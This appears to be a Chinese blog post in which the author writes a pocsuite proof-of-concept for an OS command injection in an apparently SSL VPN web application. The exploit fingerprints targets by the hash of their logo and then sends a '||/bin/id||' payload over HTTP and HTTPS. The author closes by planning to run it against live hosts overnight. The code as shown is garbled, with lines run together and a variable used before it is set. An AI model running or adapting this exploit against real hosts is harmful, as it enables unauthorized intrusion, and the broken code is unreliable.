今天在测试中发现一个命令执行漏洞,尝试用创宇的pocsuite框架实现。说实话,这玩意儿确实没有自己写POC顺手,非得就着他的标准来,就很难受,以至于耽误了很多时间在规范上。。

影响参数后直接用||连接,然后定位linux命令如||/bin/id||

下面是代码部分,大体思路就是发送一个含有payload的post请求,由于涉及一些隐私,我下面的一些地方做了打码:

 #!/usr/bin/env python
# -*- coding: utf-8 -*- """
Copyright (c) 2014-2015 pocsuite developers (http://seebug.org)
See the file 'docs/COPYING' for copying permission
"""
#命令行
from pocsuite import pocsuite_cli
#验证模块
from pocsuite import pocsuite_verify
#攻击模块
from pocsuite import pocsuite_attack
#控制台模式
from pocsuite import pocsuite_console
from pocsuite.api.request import req
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase class SSL_VPN(POCBase):
vulID = '' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
version = '' #默认为1
vulDate = '2017-11-21' #漏洞公开的时间,不知道就写今天 author = 'colorway' # PoC作者的大名
createDate = '2017-11-21'# 编写 PoC 的日期
updateDate = '2017-11-21'# PoC 更新的时间,默认和编写时间一样
references = []# 漏洞地址来源,0day不用写
name = 'OS Command Injection'# PoC 名称
appPowerLink = '#'# 漏洞厂商主页地址
appName = '#'# 漏洞应用名称
appVersion = 'all versions'# 漏洞影响版本
vulType = 'Command Injection'#漏洞类型,类型参考见 漏洞类型规范表
desc = '''
攻击者可拼接系统命令getshell
''' # 漏洞简要描述
samples = []# 测试样列,就是用 PoC 测试成功的网站
install_requires = [] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写 #验证漏洞 pocsuite -r xxxx-OS-Injection.py -f ip.txt --verify
def _verify(self):
#定义返回结果
import hashlib
import re
result = {}
#获取漏洞url
vul_url = self.url + '/xx/xx/xx.php?xx=xx&t=1&h=127.0.0.1&p=80&c=1||/bin/id||'
vul1_url = vul_url.replace('http', 'https')
test_url = self.url + '/images/logo.gif'
test1_url = test_url.replace('http', 'https')
# print test_url
# print test1_url
r = req.get(test_url)
r1 = req.get(test1_url, verify=False)
if hashlib.md5(r1.content).hexdigest() == 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' or hashlib.md5(r2.content).hexdigest() == 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx':
data = "xxx=1&xxx=1&auth=10&user_name=11&pass=111&xxxx=xxxx"
cookies = {'xxxx':'aaaa','admin_token':''}
r2 = req.post(vul_url, data=data, cookies=cookies)
r3 = req.post(vul1_url, data=data, cookies=cookies, verify=False)
if "uid" in r2.content or "uid" in r3.content:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Payload'] = vul_url # print r2.content
return self.save_output(result) #漏洞攻击
def _attack(self):
result = {}
# 攻击代码
return self._verify() def save_output(self, result):
#判断有无结果并输出
output = Output(self)
if result:
output.success(result)
else:
output.fail()
return output register(SSL_VPN)

这里我先做了指纹识别,判断目标网站是否有logo并且logo所在文件的MD5值是否正确,是的话进入下面的代码。其他的地方就是我加了https的验证,因为一般资产导入的都是IP地址,前面没有协议的名字,所以我采用了判断两次的方法(感觉是一个笨方法,但目前没有想到其他方法,控制台参数里也没有启用https的参数选项)

今天晚上跑一下存活主机,看看明天能跑出多少台来,嘻嘻。

pocsuite 实现一个verify检测功能的更多相关文章

  1. 打造一个自动检测页面是否存在XSS的小插件

    前言: 还记得刚玩Web安全时,就想着要是能有一个自动挖掘XSS漏洞的软件就好了.然后我发现了Safe3.JSky.AWVS.Netsparker等等,但是误报太多,而且特别占内存.后来发现了fidd ...

  2. [C++]Linux之网络实时检测功能

    声明:如需引用或者摘抄本博文源码或者其文章的,请在显著处注明,来源于本博文/作者,以示尊重劳动成果,助力开源精神.也欢迎大家一起探讨,交流,以共同进步,乃至成为朋友- 0.0 由于学习操作系统实验课程 ...

  3. weblogic 反序列化补丁绕过漏洞的一个批量检测shell脚本(CVE-2017-3248 )

    ~ 以下内容,仅供学习参考 ~ weblogic 反序列化补丁绕过漏洞已经出了两个月了,balabala ~~~ 废话不说,拿到该漏洞的利用工具weblogic.jar,但只能一个个检测ip和端口,效 ...

  4. 第15.4节 PyCharm程序代码检测功能介绍

    老猿使用PyCharm有将近一个月了,发现PyCharm并不能很好的完成语法检查,有时运行时突然终止,仔细核查却发现是基本的语法错误,不过有次无意中移动鼠标到代码最右边的边框时发现其实PyCharm有 ...

  5. 算法与数据结构题目的 PHP 实现:栈和队列 设计一个有 getMin 功能的栈

    刚入手了一本<程序员代码面试指南>,书中题目的代码都是 Java 实现的,琢磨着把这些代码用 PHP 敲一遍,加深印象. 题目:设计一个有 getMin 功能的栈 —— 实现一个特殊的栈, ...

  6. ado.net实现一个通知公告功能

    一.建立相应的数据库,此处就不多说了,相信大家都非常了解

  7. 设计一个有getMin功能的栈

    [说明]: 本文是左程云老师所著的<程序员面试代码指南>第一章中“设计一个有getMin功能的栈”这一题目的C++复现. 本文只包含问题描述.C++代码的实现以及简单的思路,不包含解析说明 ...

  8. SSRS 系列 - 使用带参数的 MDX 查询实现一个分组聚合功能的报表

    SSRS 系列 - 使用带参数的 MDX 查询实现一个分组聚合功能的报表 SSRS 系列 - 使用带参数的 MDX 查询实现一个分组聚合功能的报表 2013-10-09 23:09 by BI Wor ...

  9. 吴恩达机器学习笔记54-开发与评价一个异常检测系统及其与监督学习的对比(Developing and Evaluating an Anomaly Detection System and the Comparison to Supervised Learning)

    一.开发与评价一个异常检测系统 异常检测算法是一个非监督学习算法,意味着我们无法根据结果变量

随机推荐

  1. 设计模式学习总结(十)责任链模式(Chain Of Responsibility)

    责任链主要指通过一连串的操作来实现某项功能或者在处理相关的业务时,对于自己的业务则进行处理,反之,对于不属于自己的业务,则进行下发!   一.示例展示: 以下例子主要通过对煤矿对井下警告信息的处理来进 ...

  2. PIXI 精灵及文本加载(4)

    预习下官网的知识. 及字母消除接上文 Pixi 精灵 Pixi拥有一个精灵类来创建游戏精灵.有三种主要的方法来创建它: 用一个单图像文件创建. 用一个 雪碧图 来创建.雪碧图是一个放入了你游戏所需的所 ...

  3. Java 继承初探

    Java继承的基础 Java中,被继承的类叫做超类,继承超类的类叫子类.(一个子类亦可以是另一个类的超类) 继承一个类,只需要用关键字 extends 把一个类的定义合并到另一个类中就可以了. 例子中 ...

  4. git使用问题及解决方法

    1. 设置pull默认rebasegit config --global pull.rebase true 2. 问题解决:Unlink of file '.git/objects/pack/pack ...

  5. jdk7.NIO.2学习笔记之目录文件及权限

    package com.zl.jdk7; import java.io.File; import java.io.IOException; import java.nio.file.Path; imp ...

  6. MAC 下安装RabbitMQ

    1.使用brew来安装 RabbitMQ(地址:http://www.rabbitmq.com/install-standalone-mac.html ) 2.安装目录 /usr/local/Cell ...

  7. C# ADO.NET

    ADO.NET 作业总结难点 数据库语句掌握太差 //查询 select * from Users //查询表中所有数据 select * from Users where UserName = 'l ...

  8. Protocol Buffers教程

    今天想比较下pb和fastjson两个序列化后的大小.再看了一下pb序列化 pb官网:https://developers.google.com/protocol-buffers/ pb是啥 What ...

  9. spring集成JPA的三种方法配置

    JPA是Java EE5规范之一,是一个orm规范,由厂商来实现该规范.目前有hibernate,OpenJPA,TopLink和EclipseJPA等实现 spring提供三种方法集成JPA:1.L ...

  10. centos解决The path "" is not a valid path to the 3.2.0-4-amd64 kernel headers.问题

    我的机子炸了,然后我就得重新装我的虚拟机,再然后我就想去弄好我的共享文件夹安装vmtools,安装的时候出现了一个问题,我忘记以前是怎么解决的,又困扰了我好久 Searching for a vali ...